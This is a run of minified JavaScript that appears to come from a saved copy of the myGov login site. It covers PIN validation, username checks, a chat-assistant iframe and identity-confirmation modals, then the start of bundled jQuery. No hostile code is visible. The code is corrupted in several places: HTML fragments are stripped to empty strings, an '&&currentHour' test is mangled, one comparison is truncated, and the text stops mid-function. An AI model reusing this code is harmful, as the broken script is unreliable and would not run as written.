PIN";successMsg="";}if(formHelper.isNotEmpty(uPIN.$reenterPin.val())){(errorMsg!=="")?formHelper.setError(uPIN.$reenterPin,errorMsg,"p"):formHelper.setSuccess(uPIN.$reenterPin,successMsg);}}},maxChars:function(element){if(element.value.length!==4){formHelper.setError($(element),"Your PIN must contain 4 numbers","p");return false;}else{formHelper.clearError($(element));return true;}},notAscending:function(element){if(element.value.length===4&&"0123456789".indexOf(element.value)!=-1){formHelper.setError($(element),"Your PIN can't contain 4 consecutive numbers","p");return false;}else{formHelper.clearError($(element));return true;}},notDescending:function(element){if(element.value.length===4&&"9876543210".indexOf(element.value)!=-1){formHelper.setError($(element),"Your PIN can't contain 4 consecutive numbers","p");return false;}else{formHelper.clearError($(element));return true;}},numericOnly:function(element){if(!(/^\d*$/g).test(element.value)){formHelper.setError($(element),"Your PIN must contain 4 numbers","p");return false;}else{formHelper.clearError($(element));return true;}},sameDigits:function(element){if((/^([0-9])\1{3}$/g).test(element.value)){formHelper.setError($(element),"Your PIN can't contain 4 of the same number","p");return false;}else{formHelper.clearError($(element));return true;}},validate:function(element){if(!uPIN.isEmpty(element)){return;}if(!uPIN.maxChars(element)){return;}if(!uPIN.numericOnly(element)){return;}if(!uPIN.sameDigits(element)){return;}if(!uPIN.notAscending(element)){return;}if(!uPIN.notDescending(element)){return;}if(!uPIN.match(element)){return;}}};uPIN.init();});$(document).ready(function(){var usernameField=$("[data-username]");function validateUsername($inputField){var unameval=$inputField.val(),unameMatch=unameval?formHelper.isUserIdValid(unameval):false,emailMatch=unameval?formHelper.isEmailValid(unameval):false,mobileMatch=unameval?formHelper.isMobileValid(unameval):false;if(unameMatch||emailMatch||mobileMatch){formHelper.clearError($inputField);if(mobileMatch){formHelper.setInfo($inputField,'You must have this mobile number set up as a username in your Account settings.');}else{formHelper.clearInfo($inputField);}}else{formHelper.clearInfo($inputField);formHelper.setError($inputField,"Enter a valid email address, mobile number or myGov username. A valid myGov username is 2 letters, followed by 6 numbers.","p");}}usernameField.on("focusout",function(){if(!this.hasAttribute("dont-validate")){validateUsername($(this));}});});$(document).ready(function(){var usernameEmailField=$("[data-username-email]");function validateUsernameEmail($inputField){var unameval=$inputField.val(),emailMatch=unameval?formHelper.isEmailValid(unameval):false;if(emailMatch){formHelper.clearError($inputField);}else{formHelper.clearInfo($inputField);formHelper.setError($inputField,"Enter a valid email","p");}}usernameEmailField.on("blur",function(){if(!this.hasAttribute("dont-validate")){validateUsernameEmail($(this));}});});(function($){$(":radio[data-apdm]").on("change",function(){var selected=this.value;switch(selected){case"true":$(".button-main").replaceWith('');break;case"false":$(".button-main").replaceWith('Next');break;default:}});})(jQuery);(function($){$(window).on("resize",function(){var $expand=$(".outage .expand");if($expand.length&&!$expand.hasClass("expand--expanded")){var content=$(".outage__content").get(0);if(content&&content.offsetWidth>=content.scrollWidth){$expand.attr({"hidden":true,"aria-hidden":true});}else{if($expand.attr("hidden")){$expand.removeAttr("hidden aria-hidden");}}}}).resize();$(".outage").on("click",".expand",function(){$(this).toggleClass("expand--expanded").next(".outage__content").toggleClass("outage__content--expanded");});$("[data-dismiss]").each(function(){$(this).append('');});$("[data-dismiss]").on("click",".dismiss",function(e){e.preventDefault();$(this).parent().fadeOut("fast",function(){$(this).remove();});});$("[data-dismiss-otp-alert]").on("click",".dismiss",function(){$.getJSON("/mygov/dismiss/sio");});$("[data-dismiss-inbox-alert]").on("click",".dismiss",function(){$.getJSON("/mygov/dismiss-inbox-alert");});$("[data-banner-digiId]").on("click",".data-banner-dismiss-button",function(e){e.preventDefault();$("[data-banner-digiId]").fadeOut("fast",function(){$(this).remove();});$.getJSON("/mygov/dismiss/digiId");});$("[data-alert-digiId]").on("click",".data-alert-dismiss-button",function(e){e.preventDefault();$("[data-alert-digiId]").fadeOut("fast",function(){$(this).remove();});$.getJSON("/mygov/dismiss/digiId");});})(jQuery);(function($){$(document).ready(function(){function wait(seconds,formId){setTimeout(function(){submitForm(formId);},seconds*1000);}function submitForm(formId){try{document.getElementById(formId).submit();}catch(err){}}wait(10,"oidcRedirForm");wait(2,"redirForm");});})(jQuery);$("[data-home-welcome-message]").each(function(){$(this).text("Good "+getGreetingTime(moment())+" ");});function getGreetingTime(m){var g=null;if(!m||!m.isValid()){return;}var split_afternoon=12;var split_evening=17;var currentHour=parseFloat(m.format("HH"));if(currentHour>=split_afternoon&¤tHour<=split_evening){g="afternoon";}else{if(currentHour>=split_evening){g="evening";}else{g="morning";}}return g;}$(function(){var upins=$("#upin-login, #upin-input, #upin-confirm");if(global.getAndroidVersion()<4.3){$("fieldset.pin-fields, div.pin-fields").removeClass("pin-fields");upins.attr({type:"password",pattern:"[0-9]*",inputmode:"numeric"}).val("").focus();}else{upins.val("").pincodeInput({hidedigits:true,inputs:4});var upinData=upins.data("plugin_pincodeInput");if(upinData){}}if(global.getUrlParams().event==="close"){$("a.button-back-home").text("Close").removeClass("button-back").click(function(e){e.preventDefault();window.close();});}});var initPinToggle=function(){$(".showPin").on("click",function(){var $this=$(this),$inputType,$passwordInput=$this.siblings("input"),relatedInputStr="",$pinInput=$("#pincode-input");$inputType=$passwordInput.attr("type");if($pinInput.hasClass("conceal")){setPinHide($this);}else{setPinShow($this);}});};var setPinShow=function($this){var $pinInput=$("#pincode-input");$showpinhelptext="Note: this will visually expose your pin on the screen.";$showhelp=$("#show-hide-helpmsg");$pinInput.removeClass("reveal");$pinInput.addClass("conceal");$this.attr("aria-label","Show pin as plain text.").attr("aria-describedby","show-hide-helpmsg").html(" Show");$showhelp.replaceWith("

"+$showpinhelptext+"

");};var setPinHide=function($this){var $pinInput=$("#pincode-input");$pinInput.removeClass("conceal");$pinInput.addClass("reveal");var $hidepinhelptext="Note: this will visually stop exposing your pin on the screen.";$hidehelp=$("#show-hide-helpmsg");$this.attr("aria-label","Hide pin").attr("aria-describedby","show-hide-helpmsg").html(" Hide");$hidehelp.replaceWith("

"+$hidepinhelptext+"

");};$("body").on("click keydown","[data-idp-help-toggle]",function(e){var codes={ENTER:13};if(e.type==="click"||e.keyCode===codes.ENTER){var attr=$(this).attr("aria-expanded");attr=attr==="false"?"true":"false";$(this).attr("aria-expanded",attr);$(this).attr("tabindex",tabindex);var $ariaControl=$("#"+$(this).attr("aria-controls"));var tabindex=$ariaControl.attr("tabindex");$ariaControl.attr("tabindex",tabindex);if($ariaControl.css("display")==="flex"){$ariaControl.css("display","none");}else{$ariaControl.css("display","flex");}}});$(function(){var additionalSelectors="";var fields=$("[autofocus]");if(additionalSelectors){fields.add(additionalSelectors);}var focusField=fields[0];if(focusField){focusField.setAttribute("dont-validate","");global.oneUseEvent(focusField,"keyup",function(){focusField.removeAttribute("dont-validate");});}});var va_isMaximised=false;var va_isOpen=false;var va_isMobile=false;var va_pushTimeout;var va_chatStarted=false;var titleBarTitle="Ask a question";var headingTitle="Ask a question";function getMobileHeader(){var mobileLargeClass="",vaOpenClass="";if(va_isOpen){mobileLargeClass=' class="va_mobileLarge" ';vaOpenClass=" va_open";}var mobileStyle='
'+'
'+'

'+headingTitle+"

"+'
'+"
"+"
";return mobileStyle;}function getDesktopHeader(){var rightMargin=calcRightMargin(),desktopHeaderSize="style='right:"+rightMargin+"'",vaExpanded="",resizeIconState="",resizeIconClass="";if(va_isOpen){vaExpanded=" va_expanded";resizeIconState='style="display: block;"';if(va_isMaximised){desktopHeaderSize='style="height:490px; width:600px; right:'+rightMargin+';"';resizeIconClass=" va_large";}else{desktopHeaderSize='style="height:455px; width:350px; right:'+rightMargin+';"';}}var desktopStyle='
'+'
'+'
'+'

'+headingTitle+"

"+''+'
'+"
"+"
";return desktopStyle;}function getAltText(element){if(element=="va_toggleIcon"||element=="va_mobileToggle"){if(va_isOpen){return"Hide "+titleBarTitle;}else{return"Open "+titleBarTitle;}}else{if(element=="va_resizeIcon"){if(va_isMaximised){return"View "+titleBarTitle+" in a smaller window";}else{return"View "+titleBarTitle+" in a larger window";}}}}function setAltText(element){var resizeAlt=getAltText(element);jQuery("#"+element).prop("title",resizeAlt);jQuery("#"+element).attr("aria-label",resizeAlt);}function calcRightMargin(){var windowWidth=jQuery(window).width(),maxContainerWidth=960,rightMargin="2%";return rightMargin;}function insertDiv(){var rightMargin=calcRightMargin(),chatAnchor=document.createElement("div"),appendStyle=va_isMobile==true?getMobileHeader():getDesktopHeader();chatAnchor.id="va_chatAnchor";chatAnchor.className="va_chatAnchor";chatAnchor.zIndex=99999;chatAnchor.setAttribute("role","complementary");chatAnchor.setAttribute("aria-labelledBy","va_chatTitle");document.body.appendChild(chatAnchor);jQuery("#va_chatAnchor").append(appendStyle);}function insertIframe(){var iframe=document.createElement("iframe");iframe.id=iframe.name="va_iframe";iframe.className="va_iframe";iframe.style.zIndex=9999;iframe.style.background="#E5E5E5";iframe.style.right=calcRightMargin();iframe.style.overflow="hidden";jQuery("#va_chatAnchor").append(iframe);}function determineContext(){return"";}function insertIframeSrc(){va_chatStarted=true;var context=determineContext();var source=setDAsource();setIFrameSrc(source);}function setIFrameSrc(source){if(typeof source!="undefined"&&source!=""){jQuery.when(jQuery("#va_iframe").attr("aria-live","assertive").attr("aria-relevant","additions").attr("src",source+"#/wea")).done(function(){return true;});}}function sendGoogleAnalyltics(event){try{if(ga){var context=determineContext();ga("send","event","Digital Assistant",event,context+" VA");}}catch(error){}}function addTimer(){va_pushTimeout=setTimeout(function(){sendGoogleAnalyltics("Timeout");postMessageToIframe("timeout");va_pushTimeout=null;if(!va_isMobile){jQuery("#va_chatHeader").click();}else{jQuery("#va_mobileToggle").click();}},60000);}function disableBGScrolling(){document.body.style.overflow="hidden";document.body.style.position="fixed";}function enableBGScrolling(){document.body.style.overflow="";document.body.style.position="";}function toggleVAMobile(){var toggleWidth=va_isOpen?"0px":"100%",toggleHeight=va_isOpen?"0px":(jQuery(window).height()-50);jQuery("#va_iframe").css({width:toggleWidth,height:toggleHeight,right:"0px",top:"50px"});jQuery("#va_mobileBar").toggleClass("va_mobileLarge");jQuery("#va_mobileToggle").toggleClass("va_open");va_isOpen=!va_isOpen;setAltText("va_mobileToggle");if(va_isOpen){postMessageToIframe({"type":0,"query":{"text":[],"id":"Welcome"}});disableBGScrolling();}else{enableBGScrolling();}}function addOnClickMobile(){jQuery("#va_mobileToggle").on("click",function(){sendGoogleAnalyltics("Mobile click");if(va_pushTimeout){clearTimeout(va_pushTimeout);va_pushTimeout=null;}if(!va_chatStarted){insertIframeSrc();}toggleVAMobile();});}function isWindowMobile(){if(typeof window.matchMedia!=="undefined"){return window.matchMedia("screen and (max-width: 599px), screen and (max-height: 490px)").matches;}return jQuery(window).width()<600;}function responsiveResize(){var isNewScreenMobile=isWindowMobile();var responsiveHeight=0,responsiveWidth=0,responsiveRight="",responsiveTop="",responsiveBottom="",rightMargin=calcRightMargin();if(isNewScreenMobile){if(!va_isMobile){jQuery("#va_chatHeader").replaceWith(getMobileHeader());jQuery("#va_iframe").css("display","");addOnClickMobile();}if(va_isOpen){disableBGScrolling();responsiveHeight=jQuery(window).height()-50;responsiveWidth=jQuery(window).width();responsiveRight="0px";responsiveTop="50px";}}else{enableBGScrolling();if(va_isMobile){jQuery("#va_mobileBar").replaceWith(getDesktopHeader());addOnClickDesktop();addOnResize();}else{jQuery("#va_chatHeader").css({right:rightMargin});}if(va_isOpen){responsiveBottom="0px";if(va_isMaximised){responsiveHeight=435;responsiveWidth=600;}else{responsiveHeight=400;responsiveWidth=350;}}responsiveRight=rightMargin;}jQuery("#va_iframe").css({height:responsiveHeight,width:responsiveWidth,right:responsiveRight,top:responsiveTop,bottom:responsiveBottom});va_isMobile=isNewScreenMobile;}function toggleVADesktop(){var ariaHidden=va_isOpen?"true":"false";if(va_isMaximised){var toggleHeight=va_isOpen?"0px":"435px",toggleWidth=va_isOpen?"0px":"600px",headerHeight=va_isOpen?"55px":"490px",headerWidth=va_isOpen?"350px":"600px";}else{var toggleHeight=va_isOpen?"0px":"400px",toggleWidth=va_isOpen?"0px":"350px",headerHeight=va_isOpen?"55px":"455px",headerWidth="350px";}if(!va_isOpen){if(va_isMaximised){jQuery("#va_iframe").animate({height:toggleHeight,width:toggleWidth});if(!jQuery("#va_resizeIcon").hasClass("va_large")){jQuery("#va_resizeIcon").addClass("va_large");}}else{jQuery("#va_iframe").animate({height:toggleHeight});jQuery("#va_iframe").css({width:toggleWidth});}jQuery("#va_iframe").css("display","inline-block");postMessageToIframe({"type":0,"query":{"text":[],"id":"Welcome"}});}else{jQuery("#va_iframe").animate({height:toggleHeight,width:"350px"});setTimeout(function(){jQuery("#va_iframe").css({width:toggleWidth,display:"none"});},500);}jQuery("#va_chatHeader").animate({height:headerHeight,width:headerWidth},{duration:400,queue:false});jQuery(".va_chatBorder").animate({width:headerWidth},{duration:400,queue:false});jQuery("#va_resizeIcon").toggle();jQuery("#va_toggleIcon").toggleClass("va_expanded");jQuery("#va_skipToConversation").toggleClass("active");jQuery("#va_skipToConversation").attr("aria-hidden",ariaHidden);postMessageToIframe("setAriaHiddenTags"+ariaHidden);va_isOpen=!va_isOpen;setAltText("va_toggleIcon");return true;}function addOnClickDesktop(){jQuery("#va_chatHeader").on("click",function(e){sendGoogleAnalyltics("Desktop click");if(va_pushTimeout){clearTimeout(va_pushTimeout);va_pushTimeout=null;}if(!va_chatStarted){insertIframeSrc();}toggleVADesktop();return false;});jQuery("#va_toggleIcon").bind("keyup",function(e){if(e.keyCode===13){jQuery("#va_chatHeader").click();}});}function addOnResize(){jQuery("#va_resizeIcon").on("click",function(e){resizeVA();e.stopPropagation();return false;});jQuery("#va_resizeIcon").bind("keyup",function(e){if(e.keyCode===13){jQuery("#va_resizeIcon").click();e.stopPropagation();}});}function resizeVA(){var resizeWidth=va_isMaximised?"350px":"600px",resizeHeight=va_isMaximised?"400px":"435px",resizeHeaderHeight=va_isMaximised?"455px":"490px",resizeHeaderWidth=va_isMaximised?"350px":"600px";jQuery("#va_chatHeader").animate({width:resizeHeaderWidth,height:resizeHeaderHeight},{duration:400,queue:false});jQuery(".va_chatBorder").animate({width:resizeHeaderWidth},{duration:400,queue:false});jQuery("#va_iframe").animate({height:resizeHeight,width:resizeWidth},{duration:400,queue:false});jQuery("#va_resizeIcon").toggleClass("va_large");va_isMaximised=!va_isMaximised;setAltText("va_resizeIcon");}function addOnBackwardsTabbing(){jQuery("#va_skipToConversation").unbind("keydown");jQuery("#va_skipToConversation").bind("keydown",function(e){if(e.shiftKey&&e.keyCode===9){postMessageToIframe("loopFocusBackward");e.preventDefault();}else{if(e.keyCode===13){postMessageToIframe("skiptoConversation");e.stopPropagation();}}});}function loopFocusBackwardWithError(){jQuery("#va_resizeIcon").bind("keydown",function(e){if(e.shiftKey&&e.keyCode===9){postMessageToIframe("loopFocusBackwardWithError");e.preventDefault();}});}function addSkipToConversationTabListener(){jQuery("#va_skipToConversation").unbind("keydown");jQuery("#va_skipToConversation").bind("keydown",function(e){if(e.shiftKey&&e.keyCode===9){postMessageToIframe("loopFocusBackwardOptionButton");e.stopPropagation();}else{if(e.keyCode===13){postMessageToIframe("skiptoConversation");e.stopPropagation();}}});}function addOnSkipToConversation(){jQuery("#va_skipToConversation").on("click",function(e){postMessageToIframe("skiptoConversation");e.stopPropagation();return false;});addOnBackwardsTabbing();}function addSkipToBot(){var skipLinks=jQuery(".skip-links");var skipLinkClass="";if(skipLinks.length==0){skipLinks=jQuery(".uikit-skip-link");skipLinkClass='class="uikit-skip-link__link"';}skipLinks.append("Skip to '+titleBarTitle+"");jQuery("#va_skipToBot").on("click",function(e){if(!va_isMobile){jQuery("#va_toggleIcon").focus();}else{jQuery("#va_mobileToggle").click();}e.stopPropagation();return false;});}function hideSkipToConversation(){jQuery("#va_skipToConversation").hide();jQuery("#va_skipToConversation").attr("aria-hidden","true");}function skipToSkipToConversation(){jQuery("#va_skipToConversation").focus();}function skipToResizeIcon(){jQuery("#va_resizeIcon").focus();}function postMessageToIframe(message){window.parent.document.getElementById("va_iframe").contentWindow.postMessage(message,"*");}function addListenerForIframe(){window.addEventListener("message",function(e){if(e.data&&e.data.type=="error"){e.stopPropagation();jQuery("#va_chatAnchor").hide();}else{if(e.data&&e.data.type=="interaction"){e.stopPropagation();recordBotInteraction(new Date());}else{if(e.data&&e.data.type=="ready"){e.stopPropagation();if(va_isOpen){postMessageToIframe({"type":0,"query":{"text":[],"id":"Welcome"}});}jQuery("#va_chatAnchor").show();}else{if(e.data&&e.data.type=="reload"){e.stopPropagation();if(va_isOpen){if(va_isMobile){toggleVAMobile();}else{toggleVADesktop();}}}else{if(e.data=="loopFocusForward"){skipToSkipToConversation();e.stopPropagation();}else{if(e.data=="loopFocusForwardError"){setTimeout(function(){skipToResizeIcon();},100);e.stopPropagation();}else{if(e.data=="addOnBackwardsTabbing"){addOnBackwardsTabbing();}else{if(e.data=="loopFocusForwardOptionButton"){skipToSkipToConversation();addSkipToConversationTabListener();}else{if(e.data=="errorDisplayed"){hideSkipToConversation();loopFocusBackwardWithError();}else{if(e.data=="textboxFocus"){setTimeout(function(){scrollPageToBottom();},100);}}}}}}}}}}});}function addDigitalAssistant(){va_isMobile=isWindowMobile();insertDiv();insertIframe();insertIframeSrc();addOnResize();addSkipToBot();addOnSkipToConversation();addListenerForIframe();addOnClickDesktop();addOnClickMobile();window.addEventListener("resize",responsiveResize);}function scrollPageToBottom(){window.scrollTo(0,document.body.scrollHeight);}function isIE(){var myNav=navigator.userAgent.toLowerCase();return(myNav.indexOf("msie")!=-1)?parseInt(myNav.split("msie")[1]):false;}function newShowIdentityModal(){const modalBackground=document.getElementById("digital-id-modal-background");modalBackground.classList.remove("new-hide");modalBackground.classList.add("new-fade");modalBackground.classList.add("new-show");const modalContent=document.getElementById("new-modal-content");modalContent.setAttribute("open","true");modalContent.classList.remove("new-hide");modalContent.classList.add("new-slide-in");modalContent.setAttribute("aria-modal","true");modalContent.setAttribute("aria-expanded","true");modalContent.setAttribute("aria-hidden","false");document.getElementById("first-dismiss").focus();document.getElementById("identity-display-form").addEventListener("submit",ignoreSubmit);document.getElementById("digital-id-modal-background").addEventListener("click",newHideIdentityModal);document.addEventListener("keydown",handleKeyboardInput);if(window.dynaTrace){var action=window.dynaTrace.enterAction("showIdentityModal","click");window.dynaTrace.leaveAction(action);}}function ignoreSubmit(event){event.preventDefault();return false;}function handleKeyboardInput(trigger){if(trigger.code){switch(trigger.code){case"Escape":keyboardDismiss();break;case"Tab":const primaryModal=document.getElementById("new-modal-content");const secondaryModal=document.getElementById("secondary-identity-modal");if(primaryModal&&primaryModal.getAttribute("open")==="true"){trapFocusPrimary(trigger);}if(secondaryModal&&secondaryModal.getAttribute("open")==="true"){trapFocusSecondary(trigger);}break;case"Enter":if(document.activeElement===document.getElementById("decline-digital-identity")){trigger.preventDefault();document.getElementById("decline-digital-identity").checked=true;}if(document.activeElement===document.getElementById("confirm-digital-identity")){trigger.preventDefault();document.getElementById("confirm-digital-identity").checked=true;}document.getElementById("identity-first-confirm-button").disabled=false;break;}}}function trapFocusPrimary(event){var focusableElements=[document.getElementById("first-dismiss"),document.getElementById("decline-digital-identity"),document.getElementById("confirm-digital-identity"),document.getElementById("identity-first-confirm-button")];var firstFocused=focusableElements[0];var lastFocused=focusableElements[3];if(lastFocused.disabled){lastFocused=focusableElements[1];}if(event.shiftKey&&event.keyCode===9){if(document.activeElement===firstFocused){lastFocused.focus();event.preventDefault();}}else{if(document.activeElement===lastFocused){firstFocused.focus();event.preventDefault();}}}function removeSelection(){document.getElementById("confirm-digital-identity").checked=false;document.getElementById("decline-digital-identity").checked=false;document.getElementById("identity-first-confirm-button").disabled=true;}function trapFocusSecondary(event){var focusableElements=[document.getElementById("second-dismiss"),document.getElementById("return-to-mygov-link"),document.getElementById("identity-second-confirm-button")];var first=focusableElements[0];var last=focusableElements[2];if(event.shiftKey&&event.keyCode===9){if(document.activeElement===first){last.focus();event.preventDefault();}else{if(document.activeElement===focusableElements[1]){first.focus();event.preventDefault();}}}else{if(document.activeElement===last){first.focus();event.preventDefault();}}}function keyboardDismiss(){const primaryModal=document.getElementById("new-modal-content");const secondaryModal=document.getElementById("secondary-identity-modal");if(primaryModal&&primaryModal.getAttribute("open")==="true"){newHideIdentityModal();}if(secondaryModal&&secondaryModal.getAttribute("open")==="true"){hideSecondaryModal();}}function enableProgressButton(){const button=document.getElementById("identity-first-confirm-button");button.disabled=false;}function summonSecondModal(){const secondaryModal=document.getElementById("secondary-identity-modal");secondaryModal.classList.remove("hidden");secondaryModal.classList.add("shown");secondaryModal.setAttribute("open","true");secondaryModal.setAttribute("aria-modal","true");secondaryModal.setAttribute("aria-expanded","true");secondaryModal.setAttribute("aria-hidden","false");document.getElementById("second-dismiss").focus();}function hideSecondaryModal(){const secondaryModal=document.getElementById("secondary-identity-modal");secondaryModal.classList.remove("shown");secondaryModal.classList.add("hidden");secondaryModal.setAttribute("open","false");secondaryModal.setAttribute("open","false");secondaryModal.setAttribute("aria-modal","false");secondaryModal.setAttribute("aria-expanded","false");secondaryModal.setAttribute("aria-hidden","true");fadeOutBackground();}function harshHideIdentityModal(){const modalContent=document.getElementById("new-modal-content");modalContent.classList.remove("new-slide-out");modalContent.classList.add("new-hide");modalContent.setAttribute("aria-modal","false");modalContent.setAttribute("aria-expanded","false");modalContent.setAttribute("aria-hidden","true");summonSecondModal();}function fadeOutBackground(){document.getElementById("digital-id-modal-background").removeEventListener("click",newHideIdentityModal);const modalBackground=document.getElementById("digital-id-modal-background");modalBackground.classList.remove("new-fade");modalBackground.classList.remove("new-show");modalBackground.classList.add("new-fade-out");removeSelection();setTimeout(function(){modalBackground.classList.remove("new-fade-out");modalBackground.classList.add("new-hide");},199);}function newHideIdentityModal(){const secondaryModal=document.getElementById("secondary-identity-modal");if(secondaryModal.classList.contains("shown")){hideSecondaryModal();}fadeOutBackground();const modalContent=document.getElementById("new-modal-content");modalContent.setAttribute("open","false");modalContent.classList.add("new-slide-out");setTimeout(function(){modalContent.classList.remove("new-slide-out");modalContent.classList.add("new-hide");modalContent.setAttribute("aria-modal","false");modalContent.setAttribute("aria-expanded","false");modalContent.setAttribute("aria-hidden","true");},999);}$("#identity-first-confirm-button").on("click",function(e){e.preventDefault();if(document.getElementById("confirm-digital-identity").checked===false){if(window.dynaTrace){var noIdentityAction=window.dynaTrace.enterAction("identityNotConnected","click");window.dynaTrace.leaveAction(noIdentityAction);}harshHideIdentityModal();return false;}else{if(window.dynaTrace){var hasIdentityAction=window.dynaTrace.enterAction("identityConnected","click");window.dynaTrace.leaveAction(hasIdentityAction);}window.location=document.getElementById("identity-first-confirm-button").getAttribute("data-kickoff-url");return false;}});var lastInteractionDate;var timeoutEventId;function getToken(isAuthenticated){var xhttp=new XMLHttpRequest();var jsontext;xhttp.onreadystatechange=function(){try{if(this.readyState==4&&this.status==200){var jsontext=JSON.parse(this.responseText);storage.save(jsontext);var source=sessionStorage.url+sessionStorage.jwt;if(typeof(Storage)!=="undefined"){if(sessionStorage.dis==="false"){source="";storage.clear();}}setIFrameSrc(source);}}catch(e){storage.clear();}};var host=window.location.hostname;var tokenUrl="/mga/sps/apiauthsvc/policy/vagt";if(isAuthenticated&&typeof(Storage)!=="undefined"){xhttp.open("POST",tokenUrl,true);xhttp.setRequestHeader("Content-Type","application/json");xhttp.setRequestHeader("Accept","application/json");var token=sessionStorage.jwt;xhttp.send(JSON.stringify({token:token}));}else{xhttp.open("GET",tokenUrl,true);xhttp.setRequestHeader("Content-Type","application/json");xhttp.setRequestHeader("Accept","application/json");xhttp.send();}return sessionStorage.jwt;}function isValidToken(token){var decodedToken=parseToken(token);if(decodedToken.exp>Date.now()/1000){return true;}return false;}function parseToken(token){var base64Url=token.split(".")[1];var base64=base64Url.replace(/-/g,"+").replace(/_/g,"/");return JSON.parse(window.atob(base64));}function checkAuthenticated(){var isAuthenticated=false;var isAuthHomepage=($("#digitalassistant-auth").length>0);var isLoginPage=($("#digitalassistant-unauth").length>0);if(isAuthHomepage||(storage.check()&&sessionStorage.aut==="true")){isAuthenticated=true;}else{if(isLoginPage){isAuthenticated=false;}}return isAuthenticated;}function setDAsource(){var isAuthenticated=false;var daSrc="";var token="";var isAuthHomepage=($("#digitalassistant-auth").length>0);var isLoginPage=($("#digitalassistant-unauth").length>0);if(isAuthHomepage){isAuthenticated=true;token=getToken(isAuthenticated);}else{if(isLoginPage){isAuthenticated=false;storage.clear();token=getToken(isAuthenticated);}else{if(storage.check()&&isValidToken(sessionStorage.jwt)){daSrc=sessionStorage.url+sessionStorage.jwt;}else{if(isAuthHomepage||(storage.check()&&sessionStorage.aut==="true")){isAuthenticated=true;}token=getToken(isAuthenticated);if(typeof token!="undefined"&&storage.check()){daSrc=sessionStorage.url+token;}}}}if(typeof(Storage)!=="undefined"){if(sessionStorage.dis==="false"){daSrc="";}}return daSrc;}function recordBotInteraction(currentInteractionDate){var timeoutValue=300000;var diff=(currentInteractionDate-lastInteractionDate);if(typeof timeoutEventId=="undefined"||typeof lastInteractionDate=="undefined"){timeoutEventId=setTimeout(function(){initiateNewConversation();},timeoutValue);}else{if(diff0||($("#digitalassistant-auth").length>0)){if(!isWebView()){addDigitalAssistant();}}});$(document).ready(function(){(function($){$(":radio[data-cadi-flow]").on("change",function(){var selected=this.value;switch(selected){case"digitalID":jQuery("#connectedIdButton").hide();jQuery("#digitalIdButton").show();break;case"connectedID":jQuery("#connectedIdButton").show();jQuery("#digitalIdButton").hide();break;default:}});})(jQuery);});mygov/app/sms_files/mgv2-vendor.js.download000064400000450717151676702570015021 0ustar00/*! jQuery v3.2.1 | (c) JS Foundation and other contributors | jquery.org/license */ !function(a,b){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){"use strict";var c=[],d=a.document,e=Object.getPrototypeOf,f=c.slice,g=c.concat,h=c.push,i=c.indexOf,j={},k=j.toString,l=j.hasOwnProperty,m=l.toString,n=m.call(Object),o={};function p(a,b){b=b||d;var c=b.createElement("script");c.text=a,b.head.appendChild(c).parentNode.removeChild(c)}var q="3.2.1",r=function(a,b){return new r.fn.init(a,b)},s=/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g,t=/^-ms-/,u=/-([a-z])/g,v=function(a,b){return b.toUpperCase()};r.fn=r.prototype={jquery:q,constructor:r,length:0,toArray:function(){return f.call(this)},get:function(a){return null==a?f.call(this):a<0?this[a+this.length]:this[a]},pushStack:function(a){var b=r.merge(this.constructor(),a);return b.prevObject=this,b},each:function(a){return r.each(this,a)},map:function(a){return this.pushStack(r.map(this,function(b,c){return a.call(b,c,b)}))},slice:function(){return this.pushStack(f.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(a){var b=this.length,c=+a+(a<0?b:0);return this.pushStack(c>=0&&c0&&b-1 in a)}var x=function(a){var b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u="sizzle"+1*new Date,v=a.document,w=0,x=0,y=ha(),z=ha(),A=ha(),B=function(a,b){return a===b&&(l=!0),0},C={}.hasOwnProperty,D=[],E=D.pop,F=D.push,G=D.push,H=D.slice,I=function(a,b){for(var c=0,d=a.length;c+~]|"+K+")"+K+"*"),S=new RegExp("="+K+"*([^\\]'\"]*?)"+K+"*\\]","g"),T=new RegExp(N),U=new RegExp("^"+L+"$"),V={ID:new RegExp("^#("+L+")"),CLASS:new RegExp("^\\.("+L+")"),TAG:new RegExp("^("+L+"|[*])"),ATTR:new RegExp("^"+M),PSEUDO:new RegExp("^"+N),CHILD:new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\("+K+"*(even|odd|(([+-]|)(\\d*)n|)"+K+"*(?:([+-]|)"+K+"*(\\d+)|))"+K+"*\\)|)","i"),bool:new RegExp("^(?:"+J+")$","i"),needsContext:new RegExp("^"+K+"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\("+K+"*((?:-\\d)?\\d*)"+K+"*\\)|)(?=[^-]|$)","i")},W=/^(?:input|select|textarea|button)$/i,X=/^h\d$/i,Y=/^[^{]+\{\s*\[native \w/,Z=/^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,$=/[+~]/,_=new RegExp("\\\\([\\da-f]{1,6}"+K+"?|("+K+")|.)","ig"),aa=function(a,b,c){var d="0x"+b-65536;return d!==d||c?b:d<0?String.fromCharCode(d+65536):String.fromCharCode(d>>10|55296,1023&d|56320)},ba=/([\0-\x1f\x7f]|^-?\d)|^-$|[^\0-\x1f\x7f-\uFFFF\w-]/g,ca=function(a,b){return b?"\0"===a?"\ufffd":a.slice(0,-1)+"\\"+a.charCodeAt(a.length-1).toString(16)+" ":"\\"+a},da=function(){m()},ea=ta(function(a){return a.disabled===!0&&("form"in a||"label"in a)},{dir:"parentNode",next:"legend"});try{G.apply(D=H.call(v.childNodes),v.childNodes),D[v.childNodes.length].nodeType}catch(fa){G={apply:D.length?function(a,b){F.apply(a,H.call(b))}:function(a,b){var c=a.length,d=0;while(a[c++]=b[d++]);a.length=c-1}}}function ga(a,b,d,e){var f,h,j,k,l,o,r,s=b&&b.ownerDocument,w=b?b.nodeType:9;if(d=d||[],"string"!=typeof a||!a||1!==w&&9!==w&&11!==w)return d;if(!e&&((b?b.ownerDocument||b:v)!==n&&m(b),b=b||n,p)){if(11!==w&&(l=Z.exec(a)))if(f=l[1]){if(9===w){if(!(j=b.getElementById(f)))return d;if(j.id===f)return d.push(j),d}else if(s&&(j=s.getElementById(f))&&t(b,j)&&j.id===f)return d.push(j),d}else{if(l[2])return 